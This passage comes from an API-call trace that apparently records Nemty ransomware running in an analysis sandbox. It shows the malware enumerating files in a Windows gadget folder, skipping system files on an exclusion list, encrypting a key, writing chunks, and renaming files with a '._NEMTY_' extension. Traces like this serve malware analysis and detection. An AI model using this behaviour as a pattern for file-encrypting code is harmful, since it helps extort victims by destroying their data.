lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.282] CloseHandle (hObject=0xffffffff) returned 0 [0117.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png._nemty_kgobjgd_")) returned 0 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2=".") returned 1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="..") returned 1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="...") returned 1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="windows") returned -1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="$RECYCLE.BIN") returned 1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="rsa") returned -1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="NTDETECT.COM") returned -1 [0117.282] lstrcmpiW (lpString1="modern_s.png", lpString2="ntldr") returned -1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="MSDOS.SYS") returned -1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="IO.SYS") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="boot.ini") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="boot.ini") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="ntuser.dat") returned -1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="desktop.ini") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="CONFIG.SYS") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="RECYCLER") returned -1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="BOOTSECT.BAK") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="bootmgr") returned 1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="programdata") returned -1 [0117.283] lstrcmpiW (lpString1="modern_s.png", lpString2="appdata") returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_s.png", lpUsedDefaultChar=0x0) returned 12 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_s.png", lpUsedDefaultChar=0x0) returned 12 [0117.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_s.png", lpUsedDefaultChar=0x0) returned 12 [0117.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_s.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_s.png", lpUsedDefaultChar=0x0) returned 12 [0117.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.283] Sleep (dwMilliseconds=0x5) [0117.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf98f4750, dwHighDateTime=0x1d561e7)) [0117.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf98f4750, dwHighDateTime=0x1d561e7)) [0117.294] GetLastError () returned 0x5 [0117.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.294] GetLastError () returned 0x5 [0117.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.295] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.295] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="muDzs+2ToR5xd6apnTrWsfSlVh3pTEafqA35d+D/2QdflTCXlqz5SorjFjAphjB8\r\nxQo9u9tll/lrN1mhDMSNuox4aDlq3k/uy9xatVxXo94PAEEgz9UIau6QHuzSdlK7\r\nikRPzGFy9aSLAlbWuHh8X8kNfMjgUKaU6I0yNbJAW5i8aNs5zU1/vCwmpYe2pZce\r\n25PFd7ACeSTlioIo3kRyYh38uvWPN4T2piM3SVcHZwXQ01jMV/5JuDJ3kvVZMYfh\r\nMOzU4HiDVFWQCjIT5fM6EqJ+tzzQADhewHv46UiTEd5iTrduawDQhjgvJ7/yX1RH\r\nBdID67Odl69wKMHvh3wLzg==\r\n", pcchString=0x653e91c) returned 1 [0117.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.295] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.296] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.402] CloseHandle (hObject=0xffffffff) returned 0 [0117.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png._nemty_kgobjgd_")) returned 0 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: 